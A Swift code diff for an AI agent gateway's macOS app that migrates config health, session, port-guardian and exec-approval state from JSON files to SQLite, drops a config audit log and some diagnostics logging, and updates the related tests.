"gatewayModeBefore": gatewayModeBefore ?? NSNull(),
"gatewayModeAfter": gatewayModeAfter ?? NSNull(),
"preservedGatewayAuth": preservedGatewayAuth,
"suspicious": suspicious,
"blocking": blocking,
"rejectedPath": rejectedPath ?? NSNull(),
])
return false
}
try FileManager().createDirectory(
at: url.deletingLastPathComponent(),
withIntermediateDirectories: true)
try data.write(to: url, options: [.atomic])
let nextAttributes = try? FileManager().attributesOfItem(atPath: url.path)
if !suspicious.isEmpty {
self.logger.warning("config write anomaly (\(suspicious.joined(separator: ", "))) at \(url.path)")
}
self.appendConfigWriteAudit([
"result": "success",
"configPath": url.path,
"existsBefore": previousData != nil,
"previousBytes": previousBytes ?? NSNull(),
"nextBytes": nextBytes,
"previousDev": self.fileSystemNumber(previousAttributes?[.systemNumber]) ?? NSNull(),
"nextDev": self.fileSystemNumber(nextAttributes?[.systemNumber]) ?? NSNull(),
"previousIno": self.fileSystemNumber(previousAttributes?[.systemFileNumber]) ?? NSNull(),
"nextIno": self.fileSystemNumber(nextAttributes?[.systemFileNumber]) ?? NSNull(),
"previousMode": self.posixMode(previousAttributes?[.posixPermissions]) ?? NSNull(),
"nextMode": self.posixMode(nextAttributes?[.posixPermissions]) ?? NSNull(),
"previousNlink": self.fileAttributeInt(previousAttributes?[.referenceCount]) ?? NSNull(),
"nextNlink": self.fileAttributeInt(nextAttributes?[.referenceCount]) ?? NSNull(),
"previousUid": self.fileAttributeInt(previousAttributes?[.ownerAccountID]) ?? NSNull(),
"nextUid": self.fileAttributeInt(nextAttributes?[.ownerAccountID]) ?? NSNull(),
"previousGid": self.fileAttributeInt(previousAttributes?[.groupOwnerAccountID]) ?? NSNull(),
"nextGid": self.fileAttributeInt(nextAttributes?[.groupOwnerAccountID]) ?? NSNull(),
"hasMetaBefore": hadMetaBefore,
"hasMetaAfter": self.hasMeta(output),
"gatewayModeBefore": gatewayModeBefore ?? NSNull(),
"gatewayModeAfter": gatewayModeAfter ?? NSNull(),
"preservedGatewayAuth": preservedGatewayAuth,
"suspicious": suspicious,
])
self.observeConfigRead(data: data, root: output, configURL: url, valid: true)
return true
} catch {
self.logger.error("config save failed: \(error.localizedDescription)")
self.appendConfigWriteAudit([
"result": "failed",
"configPath": url.path,
"existsBefore": previousData != nil,
"previousBytes": previousBytes ?? NSNull(),
"nextBytes": NSNull(),
"hasMetaBefore": hadMetaBefore,
"hasMetaAfter": self.hasMeta(output),
"gatewayModeBefore": gatewayModeBefore ?? NSNull(),
"gatewayModeAfter": self.gatewayMode(output) ?? NSNull(),
"preservedGatewayAuth": preservedGatewayAuth,
"suspicious": preservedGatewayAuth ? ["gateway-auth-preserved"] : [],
"error": error.localizedDescription,
])
return false
}
}
@@ -471,43 +404,36 @@ enum OpenClawConfigFile {
}
}
private static func configAuditLogURL() -> URL {
self.stateDirURL()
.appendingPathComponent("logs", isDirectory: true)
.appendingPathComponent(self.configAuditFileName, isDirectory: false)
}
private static func configHealthStateURL() -> URL {
self.stateDirURL()
.appendingPathComponent("logs", isDirectory: true)
.appendingPathComponent(self.configHealthFileName, isDirectory: false)
}
private static func readConfigHealthState() -> [String: Any] {
let url = self.configHealthStateURL()
guard let data = try? Data(contentsOf: url),
let persisted = OpenClawSQLiteStateStore.readConfigHealthState()
if !persisted.isEmpty {
self.configHealthState = persisted
return persisted
}
if let legacy = self.readLegacyConfigHealthState(), !legacy.isEmpty {
self.configHealthState = legacy
try? OpenClawSQLiteStateStore.writeConfigHealthState(legacy)
return legacy
}
return self.configHealthState
}
private static func readLegacyConfigHealthState() -> [String: Any]? {
let url = self.stateDirURL()
.appendingPathComponent("logs", isDirectory: true)
.appendingPathComponent(self.legacyConfigHealthFileName)
guard FileManager().fileExists(atPath: url.path),
let data = try? Data(contentsOf: url),
let root = try? JSONSerialization.jsonObject(with: data) as? [String: Any]
else {
return [:]
return nil
}
return root
}
private static func writeConfigHealthState(_ root: [String: Any]) {
guard JSONSerialization.isValidJSONObject(root),
let data = try? JSONSerialization.data(withJSONObject: root, options: [.prettyPrinted, .sortedKeys])
else {
return
}
let url = self.configHealthStateURL()
do {
try FileManager().createDirectory(
at: url.deletingLastPathComponent(),
withIntermediateDirectories: true)
try data.write(to: url, options: [.atomic])
} catch {
// best-effort
}
self.configHealthState = root
try? OpenClawSQLiteStateStore.writeConfigHealthState(root)
}
private static func configHealthEntry(state: [String: Any], configPath: String) -> [String: Any] {
@@ -622,16 +548,6 @@ enum OpenClawConfigFile {
return reasons
}
private static func readConfigFingerprint(at url: URL) -> [String: Any]? {
guard let data = try? Data(contentsOf: url) else { return nil }
let root = self.parseConfigData(data)
return self.configFingerprint(
data: data,
root: root,
configURL: url,
observedAt: ISO8601DateFormatter().string(from: Date()))
}
private static func configTimestampToken(_ timestamp: String) -> String {
timestamp.replacingOccurrences(of: ":", with: "-")
.replacingOccurrences(of: ".", with: "-")
@@ -698,130 +614,14 @@ enum OpenClawConfigFile {
return
}
let backup = self.readConfigFingerprint(
at: configURL.deletingLastPathComponent().appendingPathComponent("\(configURL.lastPathComponent).bak"))
let clobberedPath = self.persistClobberedSnapshot(
_ = self.persistClobberedSnapshot(
data: data,
configURL: configURL,
observedAt: observedAt)
self.logger.warning("config observe anomaly (\(suspicious.joined(separator: ", "))) at \(configURL.path)")
self.appendConfigObserveAudit([
"phase": "read",
"configPath": configURL.path,
"exists": true,
"valid": valid,
"hash": current["hash"] ?? NSNull(),
"bytes": current["bytes"] ?? NSNull(),
"mtimeMs": current["mtimeMs"] ?? NSNull(),
"ctimeMs": current["ctimeMs"] ?? NSNull(),
"dev": current["dev"] ?? NSNull(),
"ino": current["ino"] ?? NSNull(),
"mode": current["mode"] ?? NSNull(),
"nlink": current["nlink"] ?? NSNull(),
"uid": current["uid"] ?? NSNull(),
"gid": current["gid"] ?? NSNull(),
"hasMeta": current["hasMeta"] ?? false,
"gatewayMode": current["gatewayMode"] ?? NSNull(),
"suspicious": suspicious,
"lastKnownGoodHash": lastKnownGood?["hash"] ?? NSNull(),
"lastKnownGoodBytes": lastKnownGood?["bytes"] ?? NSNull(),
"lastKnownGoodMtimeMs": lastKnownGood?["mtimeMs"] ?? NSNull(),
"lastKnownGoodCtimeMs": lastKnownGood?["ctimeMs"] ?? NSNull(),
"lastKnownGoodDev": lastKnownGood?["dev"] ?? NSNull(),
"lastKnownGoodIno": lastKnownGood?["ino"] ?? NSNull(),
"lastKnownGoodMode": lastKnownGood?["mode"] ?? NSNull(),
"lastKnownGoodNlink": lastKnownGood?["nlink"] ?? NSNull(),
"lastKnownGoodUid": lastKnownGood?["uid"] ?? NSNull(),
"lastKnownGoodGid": lastKnownGood?["gid"] ?? NSNull(),
"lastKnownGoodGatewayMode": lastKnownGood?["gatewayMode"] ?? NSNull(),
"backupHash": backup?["hash"] ?? NSNull(),
"backupBytes": backup?["bytes"] ?? NSNull(),
"backupMtimeMs": backup?["mtimeMs"] ?? NSNull(),
"backupCtimeMs": backup?["ctimeMs"] ?? NSNull(),
"backupDev": backup?["dev"] ?? NSNull(),
"backupIno": backup?["ino"] ?? NSNull(),
"backupMode": backup?["mode"] ?? NSNull(),
"backupNlink": backup?["nlink"] ?? NSNull(),
"backupUid": backup?["uid"] ?? NSNull(),
"backupGid": backup?["gid"] ?? NSNull(),
"backupGatewayMode": backup?["gatewayMode"] ?? NSNull(),
"clobberedPath": clobberedPath ?? NSNull(),
])
var nextEntry = entry
nextEntry["lastObservedSuspiciousSignature"] = signature
state = self.setConfigHealthEntry(state: state, configPath: configURL.path, entry: nextEntry)
self.writeConfigHealthState(state)
}
private static func appendConfigWriteAudit(_ fields: [String: Any]) {
var record: [String: Any] = [
"ts": ISO8601DateFormatter().string(from: Date()),
"source": "macos-openclaw-config-file",
"event": "config.write",
"pid": ProcessInfo.processInfo.processIdentifier,
"argv": Array(ProcessInfo.processInfo.arguments.prefix(8)),
]
for (key, value) in fields {
record[key] = value is NSNull ? NSNull() : value
}
guard JSONSerialization.isValidJSONObject(record),
let data = try? JSONSerialization.data(withJSONObject: record)
else {
return
}
var line = Data()
line.append(data)
line.append(0x0A)
let logURL = self.configAuditLogURL()
do {
try FileManager().createDirectory(
at: logURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
if !FileManager().fileExists(atPath: logURL.path) {
FileManager().createFile(atPath: logURL.path, contents: nil)
}
let handle = try FileHandle(forWritingTo: logURL)
defer { try? handle.close() }
try handle.seekToEnd()
try handle.write(contentsOf: line)
} catch {
// best-effort
}
}
private static func appendConfigObserveAudit(_ fields: [String: Any]) {
var record: [String: Any] = [
"ts": ISO8601DateFormatter().string(from: Date()),
"source": "macos-openclaw-config-file",
"event": "config.observe",
"pid": ProcessInfo.processInfo.processIdentifier,
"argv": Array(ProcessInfo.processInfo.arguments.prefix(8)),
]
for (key, value) in fields {
record[key] = value is NSNull ? NSNull() : value
}
guard JSONSerialization.isValidJSONObject(record),
let data = try? JSONSerialization.data(withJSONObject: record)
else {
return
}
var line = Data()
line.append(data)
line.append(0x0A)
let logURL = self.configAuditLogURL()
do {
try FileManager().createDirectory(
at: logURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
if !FileManager().fileExists(atPath: logURL.path) {
FileManager().createFile(atPath: logURL.path, contents: nil)
}
let handle = try FileHandle(forWritingTo: logURL)
defer { try? handle.close() }
try handle.seekToEnd()
try handle.write(contentsOf: line)
} catch {
// best-effort
}
}
}

View File

@@ -1,4 +1,5 @@
import Foundation
import OpenClawKit
import OSLog
#if canImport(Darwin)
import Darwin
@@ -26,17 +27,9 @@ actor PortGuardian {
#if DEBUG
private var testingDescriptors: [Int: Descriptor] = [:]
#endif
private nonisolated static let appSupportDir: URL = {
let base = FileManager().urls(for: .applicationSupportDirectory, in: .userDomainMask).first!
return base.appendingPathComponent("OpenClaw", isDirectory: true)
}()
private nonisolated static var recordPath: URL {
self.appSupportDir.appendingPathComponent("port-guard.json", isDirectory: false)
}
init() {
self.records = Self.loadRecords(from: Self.recordPath)
self.records = Self.loadRecords()
}
func sweep(mode: AppState.ConnectionMode) async {
@@ -82,7 +75,6 @@ actor PortGuardian {
}
func record(port: Int, pid: Int32, command: String, mode: AppState.ConnectionMode) async {
try? FileManager().createDirectory(at: Self.appSupportDir, withIntermediateDirectories: true)
self.records.removeAll { $0.pid == pid }
self.records.append(
Record(
@@ -401,16 +393,27 @@ actor PortGuardian {
return await self.probeGatewayHealth(port: port)
}
private static func loadRecords(from url: URL) -> [Record] {
guard let data = try? Data(contentsOf: url),
let decoded = try? JSONDecoder().decode([Record].self, from: data)
else { return [] }
return decoded
private static func loadRecords() -> [Record] {
OpenClawSQLiteStateStore.readPortGuardianRecords().map { row in
Record(
port: row.port,
pid: row.pid,
command: row.command,
mode: row.mode,
timestamp: row.timestamp)
}
}
private func save() {
guard let data = try? JSONEncoder().encode(self.records) else { return }
try? data.write(to: Self.recordPath, options: [.atomic])
try? OpenClawSQLiteStateStore.replacePortGuardianRecords(
self.records.map { record in
OpenClawSQLitePortGuardianRecord(
port: record.port,
pid: record.pid,
command: record.command,
mode: record.mode,
timestamp: record.timestamp)
})
}
}

View File

@@ -28,7 +28,7 @@ enum SessionActions {
static func deleteSession(key: String) async throws {
_ = try await ControlChannel.shared.request(
method: "sessions.delete",
params: ["key": AnyHashable(key), "deleteTranscript": AnyHashable(true)])
params: ["key": AnyHashable(key)])
}
static func compactSession(key: String, maxLines: Int = 400) async throws {
@@ -57,35 +57,4 @@ enum SessionActions {
alert.alertStyle = .warning
alert.runModal()
}
@MainActor
static func openSessionLogInCode(sessionId: String, storePath: String?) {
let candidates: [URL] = {
var urls: [URL] = []
if let storePath, !storePath.isEmpty {
let dir = URL(fileURLWithPath: storePath).deletingLastPathComponent()
urls.append(dir.appendingPathComponent("\(sessionId).jsonl"))
}
urls.append(OpenClawPaths.stateDirURL.appendingPathComponent("sessions/\(sessionId).jsonl"))
return urls
}()
let existing = candidates.first(where: { FileManager().fileExists(atPath: $0.path) })
guard let url = existing else {
let alert = NSAlert()
alert.messageText = "Session log not found"
alert.informativeText = sessionId
alert.runModal()
return
}
let proc = Process()
proc.launchPath = "/usr/bin/env"
proc.arguments = ["code", url.path]
if (try? proc.run()) != nil {
return
}
NSWorkspace.shared.activateFileViewerSelecting([url])
}
}

View File

@@ -28,10 +28,38 @@ struct GatewaySessionEntryRecord: Codable {
struct GatewaySessionsListResponse: Codable {
let ts: Double?
let path: String
let databasePath: String
let count: Int
let defaults: GatewaySessionDefaultsRecord?
let sessions: [GatewaySessionEntryRecord]
private enum CodingKeys: String, CodingKey {
case ts
case databasePath
case path
case count
case defaults
case sessions
}
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.ts = try container.decodeIfPresent(Double.self, forKey: .ts)
self.databasePath = try container.decodeIfPresent(String.self, forKey: .databasePath)
?? container.decode(String.self, forKey: .path)
self.count = try container.decode(Int.self, forKey: .count)
self.defaults = try container.decodeIfPresent(GatewaySessionDefaultsRecord.self, forKey: .defaults)
self.sessions = try container.decode([GatewaySessionEntryRecord].self, forKey: .sessions)
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encodeIfPresent(self.ts, forKey: .ts)
try container.encode(self.databasePath, forKey: .databasePath)
try container.encode(self.count, forKey: .count)
try container.encodeIfPresent(self.defaults, forKey: .defaults)
try container.encode(self.sessions, forKey: .sessions)
}
}
struct SessionTokenStats {
@@ -245,7 +273,7 @@ enum SessionLoadError: LocalizedError {
}
struct SessionStoreSnapshot {
let storePath: String
let databasePath: String
let defaults: SessionDefaults
let rows: [SessionRow]
}
@@ -255,9 +283,9 @@ enum SessionLoader {
static let fallbackModel = "claude-opus-4-6"
static let fallbackContextTokens = 200_000
static let defaultStorePath = standardize(
static let defaultDatabasePath = standardize(
OpenClawPaths.stateDirURL
.appendingPathComponent("sessions/sessions.json").path)
.appendingPathComponent("agents/main/agent/openclaw-agent.sqlite").path)
static func loadSnapshot(
activeMinutes: Int? = nil,
@@ -326,7 +354,7 @@ enum SessionLoader {
model: model)
}.sorted { ($0.updatedAt ?? .distantPast) > ($1.updatedAt ?? .distantPast) }
return SessionStoreSnapshot(storePath: decoded.path, defaults: defaults, rows: rows)
return SessionStoreSnapshot(databasePath: decoded.databasePath, defaults: defaults, rows: rows)
}
static func loadRows() async throws -> [SessionRow] {

View File

@@ -53,11 +53,6 @@ enum VoiceWakeChimePlayer {
} else {
self.logger.log(level: .info, "chime play")
}
DiagnosticsFileLog.shared.log(category: "voicewake.chime", event: "play", fields: [
"reason": reason ?? "",
"chime": chime.displayLabel,
"systemName": chime.systemName ?? "",
])
SoundEffectPlayer.play(sound)
}

View File

@@ -225,10 +225,6 @@ actor VoiceWakeRuntime {
"voicewake runtime input preferred=\(preferred, privacy: .public) " +
"\(AudioInputDeviceObserver.defaultInputDeviceSummary(), privacy: .public)")
self.logger.info("voicewake runtime started")
DiagnosticsFileLog.shared.log(category: "voicewake.runtime", event: "started", fields: [
"locale": config.localeID ?? "",
"micID": config.micID ?? "",
])
} catch {
self.logger.error("voicewake runtime failed to start: \(error.localizedDescription, privacy: .public)")
self.stop()
@@ -259,7 +255,6 @@ actor VoiceWakeRuntime {
self.activeTriggerEndTime = nil
self.activeTriggerWord = nil
self.logger.debug("voicewake runtime stopped")
DiagnosticsFileLog.shared.log(category: "voicewake.runtime", event: "stopped")
let token = self.overlayToken
self.overlayToken = nil
@@ -567,7 +562,6 @@ actor VoiceWakeRuntime {
// (mirrors the push-to-talk coordination pattern).
if config.triggersTalkMode {
self.logger.info("voicewake trigger -> activating Talk Mode (skipping capture)")
DiagnosticsFileLog.shared.log(category: "voicewake.runtime", event: "triggerTalkMode")
if config.triggerChime != .none {
await MainActor.run { VoiceWakeChimePlayer.play(config.triggerChime, reason: "voicewake.trigger") }
}
@@ -577,7 +571,6 @@ actor VoiceWakeRuntime {
}
self.listeningState = .voiceWake
self.isCapturing = true
DiagnosticsFileLog.shared.log(category: "voicewake.runtime", event: "beginCapture")
self.capturedTranscript = command
self.committedTranscript = ""
self.volatileTranscript = command
@@ -653,9 +646,7 @@ actor VoiceWakeRuntime {
self.captureTask = nil
let finalTranscript = self.capturedTranscript.trimmingCharacters(in: .whitespacesAndNewlines)
DiagnosticsFileLog.shared.log(category: "voicewake.runtime", event: "finalizeCapture", fields: [
"finalLen": "\(finalTranscript.count)",
])
self.logger.info("voicewake capture finalized len=\(finalTranscript.count)")
// Stop further recognition events so we don't retrigger immediately with buffered audio.
self.haltRecognitionPipeline()
self.capturedTranscript = ""

View File

@@ -76,7 +76,7 @@ struct MacGatewayChatTransport: OpenClawChatTransport {
mainSessionKey: mainSessionKey)
return OpenClawChatSessionsListResponse(
ts: decoded.ts,
path: decoded.path,
databasePath: decoded.databasePath,
count: decoded.count,
defaults: defaults,
sessions: decoded.sessions)

View File

@@ -48,7 +48,7 @@ import Testing
let nodePath = tmp.appendingPathComponent("node_modules/.bin/node")
let scriptPath = tmp.appendingPathComponent("bin/openclaw.js")
try makeExecutableForTests(at: nodePath)
try "#!/bin/sh\necho v22.19.0\n".write(to: nodePath, atomically: true, encoding: .utf8)
try "#!/bin/sh\necho v24.0.0\n".write(to: nodePath, atomically: true, encoding: .utf8)
try FileManager().setAttributes([.posixPermissions: 0o755], ofItemAtPath: nodePath.path)
try makeExecutableForTests(at: scriptPath)

View File

@@ -1,4 +1,5 @@
import Foundation
import SQLite3
import Testing
@testable import OpenClaw
@@ -17,16 +18,54 @@ struct ExecApprovalsStoreRefactorTests {
}
@Test
func `ensure file skips rewrite when unchanged`() async throws {
try await self.withTempStateDir { _ in
_ = ExecApprovalsStore.ensureFile()
let url = ExecApprovalsStore.fileURL()
let firstIdentity = try Self.fileIdentity(at: url)
func `ensure state stores approvals in sqlite without json sidecar`() async throws {
try await self.withTempStateDir { stateDir in
_ = ExecApprovalsStore.ensureState()
let firstSnapshot = ExecApprovalsStore.readSnapshot()
_ = ExecApprovalsStore.ensureFile()
let secondIdentity = try Self.fileIdentity(at: url)
_ = ExecApprovalsStore.ensureState()
let secondSnapshot = ExecApprovalsStore.readSnapshot()
#expect(firstIdentity == secondIdentity)
#expect(firstSnapshot.hash == secondSnapshot.hash)
#expect(firstSnapshot.path.contains("openclaw.sqlite#table/exec_approvals_config/current"))
#expect(FileManager().fileExists(atPath: ExecApprovalsStore.databaseURL().path))
#expect(!FileManager().fileExists(atPath: stateDir.appendingPathComponent("exec-approvals.json").path))
let storedRaw = try Self.readStoredApprovalsRaw()
#expect(storedRaw?.contains("\"version\" : 1") == true)
}
}
@Test
func `ensure state imports legacy json approvals before sqlite defaults`() async throws {
try await self.withTempStateDir { stateDir in
try FileManager().createDirectory(at: stateDir, withIntermediateDirectories: true)
let legacyURL = stateDir.appendingPathComponent("exec-approvals.json")
try """
{
"version": 1,
"socket": { "path": "/tmp/legacy.sock", "token": "legacy-token" },
"defaults": { "security": "allowlist", "ask": "on-miss" },
"agents": {
"main": {
"allowlist": [
{ "id": "00000000-0000-0000-0000-000000000001", "pattern": "/usr/bin/rg" }
]
}
}
}
""".write(to: legacyURL, atomically: true, encoding: .utf8)
let ensured = ExecApprovalsStore.ensureState()
#expect(ensured.socket?.path == "/tmp/legacy.sock")
#expect(ensured.socket?.token == "legacy-token")
#expect(ensured.defaults?.security == .allowlist)
#expect(ensured.defaults?.ask == .onMiss)
#expect(ensured.agents?["main"]?.allowlist?.map(\.pattern) == ["/usr/bin/rg"])
#expect(!FileManager().fileExists(atPath: legacyURL.path))
let storedRaw = try Self.readStoredApprovalsRaw()
#expect(storedRaw?.contains("legacy-token") == true)
}
}
@@ -66,24 +105,38 @@ struct ExecApprovalsStoreRefactorTests {
}
@Test
func `ensure file hardens state directory permissions`() async throws {
func `ensure state hardens state directory permissions`() async throws {
try await self.withTempStateDir { stateDir in
try FileManager().createDirectory(at: stateDir, withIntermediateDirectories: true)
try FileManager().setAttributes([.posixPermissions: 0o755], ofItemAtPath: stateDir.path)
_ = ExecApprovalsStore.ensureFile()
_ = ExecApprovalsStore.ensureState()
let attrs = try FileManager().attributesOfItem(atPath: stateDir.path)
let permissions = (attrs[.posixPermissions] as? NSNumber)?.intValue ?? -1
#expect(permissions & 0o777 == 0o700)
}
}
private static func fileIdentity(at url: URL) throws -> Int {
let attributes = try FileManager().attributesOfItem(atPath: url.path)
guard let identifier = (attributes[.systemFileNumber] as? NSNumber)?.intValue else {
struct MissingIdentifierError: Error {}
throw MissingIdentifierError()
private static func readStoredApprovalsRaw() throws -> String? {
var db: OpaquePointer?
guard sqlite3_open_v2(ExecApprovalsStore.databaseURL().path, &db, SQLITE_OPEN_READONLY, nil) == SQLITE_OK
else {
defer { sqlite3_close(db) }
throw NSError(domain: "ExecApprovalsStoreRefactorTests", code: 1)
}
return identifier
defer { sqlite3_close(db) }
let sql = "SELECT raw_json FROM exec_approvals_config WHERE config_key = 'current'"
var statement: OpaquePointer?
guard sqlite3_prepare_v2(db, sql, -1, &statement, nil) == SQLITE_OK else {
defer { sqlite3_finalize(statement) }
throw NSError(domain: "ExecApprovalsStoreRefactorTests", code: 2)
}
defer { sqlite3_finalize(statement) }
guard sqlite3_step(statement) == SQLITE_ROW, let rawText = sqlite3_column_text(statement, 0) else {
return nil
}
return String(cString: UnsafeRawPointer(rawText).assumingMemoryBound(to: CChar.self))
}
}

View File

@@ -5,7 +5,7 @@ import Testing
struct HealthDecodeTests {
private let sampleJSON: String = // minimal but complete payload
"""
{"ts":1733622000,"durationMs":420,"channels":{"whatsapp":{"linked":true,"authAgeMs":120000},"telegram":{"configured":true,"probe":{"ok":true,"elapsedMs":800}}},"channelOrder":["whatsapp","telegram"],"heartbeatSeconds":60,"sessions":{"path":"/tmp/sessions.json","count":1,"recent":[{"key":"abc","updatedAt":1733621900,"age":120000}]}}
{"ts":1733622000,"durationMs":420,"channels":{"whatsapp":{"linked":true,"authAgeMs":120000},"telegram":{"configured":true,"probe":{"ok":true,"elapsedMs":800}}},"channelOrder":["whatsapp","telegram"],"heartbeatSeconds":60,"sessions":{"databasePath":"/tmp/openclaw-agent.sqlite","count":1,"recent":[{"key":"abc","updatedAt":1733621900,"age":120000}]}}
"""
@Test func `decodes clean JSON`() {
@@ -29,4 +29,22 @@ struct HealthDecodeTests {
#expect(snap == nil)
}
@Test func `sessions list decodes legacy path field`() throws {
let data = Data(
#"{"ts":1733622000,"path":"/tmp/sessions.json","count":0,"sessions":[]}"#.utf8)
let decoded = try JSONDecoder().decode(GatewaySessionsListResponse.self, from: data)
#expect(decoded.databasePath == "/tmp/sessions.json")
}
@Test func `health sessions decode legacy path field`() {
let data = Data(
"""
{"ts":1733622000,"durationMs":420,"channels":{},"channelOrder":[],"heartbeatSeconds":60,"sessions":{"path":"/tmp/sessions.json","count":0,"recent":[]}}
""".utf8)
let snap = decodeHealthSnapshot(from: data)
#expect(snap?.sessions.databasePath == "/tmp/sessions.json")
}
}

View File

@@ -25,7 +25,7 @@ struct HealthStoreStateTests {
channelOrder: ["whatsapp"],
channelLabels: ["whatsapp": "WhatsApp"],
heartbeatSeconds: 60,
sessions: .init(path: "/tmp/sessions.json", count: 0, recent: []))
sessions: .init(databasePath: "/tmp/openclaw-agent.sqlite", count: 0, recent: []))
let store = HealthStore.shared
store.__setSnapshotForTest(snap, lastError: nil)

View File

@@ -82,7 +82,7 @@ struct MenuSessionsInjectorTests {
model: "claude-opus-4-6"),
]
let snapshot = SessionStoreSnapshot(
storePath: "/tmp/sessions.json",
databasePath: "/tmp/openclaw-agent.sqlite",
defaults: defaults,
rows: rows)
injector.setTestingSnapshot(snapshot, errorText: nil)
@@ -97,7 +97,7 @@ struct MenuSessionsInjectorTests {
plan: "Pro",
error: nil),
GatewayUsageProvider(
provider: "openai-codex",
provider: "openai",
displayName: "Codex",
windows: [GatewayUsageWindow(label: "day", usedPercent: 3, resetAt: nil)],
plan: nil,

View File

@@ -11,6 +11,23 @@ struct OpenClawConfigFileTests {
.path
}
private func legacyConfigSidecarURLs(in stateDir: URL) -> (audit: URL, health: URL) {
let logsDir = stateDir.appendingPathComponent("logs", isDirectory: true)
return (
logsDir.appendingPathComponent("config-audit.jsonl"),
logsDir.appendingPathComponent("config-health.json")
)
}
private func configRecoveryFile(
in directory: URL,
configName: String,
marker: String) throws -> URL?
{
try FileManager().contentsOfDirectory(at: directory, includingPropertiesForKeys: nil)
.first { $0.lastPathComponent.hasPrefix("\(configName).\(marker).") }
}
@Test
func `config path respects env override`() async {
let override = self.makeConfigOverridePath()
@@ -121,11 +138,11 @@ struct OpenClawConfigFileTests {
@MainActor
@Test
func `save dict appends config audit log`() async throws {
func `save dict does not write config state sidecars`() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
let configPath = stateDir.appendingPathComponent("openclaw.json")
let auditPath = stateDir.appendingPathComponent("logs/config-audit.jsonl")
let sidecars = self.legacyConfigSidecarURLs(in: stateDir)
defer { try? FileManager().removeItem(at: stateDir) }
@@ -140,25 +157,8 @@ struct OpenClawConfigFileTests {
let configData = try Data(contentsOf: configPath)
let configRoot = try JSONSerialization.jsonObject(with: configData) as? [String: Any]
#expect((configRoot?["meta"] as? [String: Any]) != nil)
let rawAudit = try String(contentsOf: auditPath, encoding: .utf8)
let lines = rawAudit
.split(whereSeparator: \.isNewline)
.map(String.init)
#expect(!lines.isEmpty)
guard let last = lines.last else {
Issue.record("Missing config audit line")
return
}
let auditRoot = try JSONSerialization.jsonObject(with: Data(last.utf8)) as? [String: Any]
#expect(auditRoot?["source"] as? String == "macos-openclaw-config-file")
#expect(auditRoot?["event"] as? String == "config.write")
#expect(auditRoot?["result"] as? String == "success")
#expect(auditRoot?["configPath"] as? String == configPath.path)
#expect(auditRoot?["previousMode"] is NSNull)
#expect(auditRoot?["nextMode"] is NSNumber)
#expect(auditRoot?["previousIno"] is NSNull)
#expect(auditRoot?["nextIno"] as? String != nil)
#expect(!FileManager().fileExists(atPath: sidecars.audit.path))
#expect(!FileManager().fileExists(atPath: sidecars.health.path))
}
}
@@ -268,11 +268,11 @@ struct OpenClawConfigFileTests {
@MainActor
@Test
func `load dict audits suspicious out-of-band clobbers`() async throws {
func `load dict preserves suspicious out-of-band clobbers without state sidecars`() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
let configPath = stateDir.appendingPathComponent("openclaw.json")
let auditPath = stateDir.appendingPathComponent("logs/config-audit.jsonl")
let sidecars = self.legacyConfigSidecarURLs(in: stateDir)
defer { try? FileManager().removeItem(at: stateDir) }
@@ -306,31 +306,16 @@ struct OpenClawConfigFileTests {
let loaded = OpenClawConfigFile.loadDict()
#expect((loaded["gateway"] as? [String: Any]) == nil)
let rawAudit = try String(contentsOf: auditPath, encoding: .utf8)
let lines = rawAudit
.split(whereSeparator: \.isNewline)
.map(String.init)
let observeLine = lines.reversed().first { $0.contains("\"event\":\"config.observe\"") }
#expect(observeLine != nil)
guard let observeLine else {
Issue.record("Missing config.observe audit line")
return
}
let auditRoot = try JSONSerialization.jsonObject(with: Data(observeLine.utf8)) as? [String: Any]
#expect(auditRoot?["source"] as? String == "macos-openclaw-config-file")
#expect(auditRoot?["configPath"] as? String == configPath.path)
#expect(auditRoot?["mode"] is NSNumber)
#expect(auditRoot?["ino"] as? String != nil)
#expect(auditRoot?["lastKnownGoodMode"] is NSNumber)
#expect(auditRoot?["backupMode"] is NSNull)
let suspicious = auditRoot?["suspicious"] as? [String] ?? []
#expect(suspicious.contains("gateway-mode-missing-vs-last-good"))
#expect(suspicious.contains("update-channel-only-root"))
#expect(!FileManager().fileExists(atPath: sidecars.audit.path))
#expect(!FileManager().fileExists(atPath: sidecars.health.path))
let clobberedPath = auditRoot?["clobberedPath"] as? String
#expect(clobberedPath != nil)
if let clobberedPath {
let preserved = try String(contentsOfFile: clobberedPath, encoding: .utf8)
let clobberedURL = try self.configRecoveryFile(
in: configPath.deletingLastPathComponent(),
configName: configPath.lastPathComponent,
marker: "clobbered")
#expect(clobberedURL != nil)
if let clobberedURL {
let preserved = try String(contentsOf: clobberedURL, encoding: .utf8)
#expect(preserved == clobbered)
}
}
@@ -339,11 +324,61 @@ struct OpenClawConfigFileTests {
@MainActor
@Test
func `save dict records preserved gateway auth in audit`() async throws {
func `load dict imports legacy config health baseline`() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
let configPath = stateDir.appendingPathComponent("openclaw.json")
let auditPath = stateDir.appendingPathComponent("logs/config-audit.jsonl")
let sidecars = self.legacyConfigSidecarURLs(in: stateDir)
defer { try? FileManager().removeItem(at: stateDir) }
try FileManager().createDirectory(
at: sidecars.health.deletingLastPathComponent(),
withIntermediateDirectories: true)
let legacyHealth: [String: Any] = [
"entries": [
configPath.path: [
"lastKnownGood": [
"hash": "previous-good",
"bytes": 1024,
"hasMeta": true,
"gatewayMode": "local",
],
],
],
]
let legacyData = try JSONSerialization.data(withJSONObject: legacyHealth, options: [.prettyPrinted])
try legacyData.write(to: sidecars.health)
try """
{
"update": {
"channel": "beta"
}
}
""".write(to: configPath, atomically: true, encoding: .utf8)
try await TestIsolation.withEnvValues([
"OPENCLAW_STATE_DIR": stateDir.path,
"OPENCLAW_CONFIG_PATH": configPath.path,
]) {
let loaded = OpenClawConfigFile.loadDict()
#expect(((loaded["update"] as? [String: Any])?["channel"] as? String) == "beta")
let clobberedURL = try self.configRecoveryFile(
in: configPath.deletingLastPathComponent(),
configName: configPath.lastPathComponent,
marker: "clobbered")
#expect(clobberedURL != nil)
}
}
@MainActor
@Test
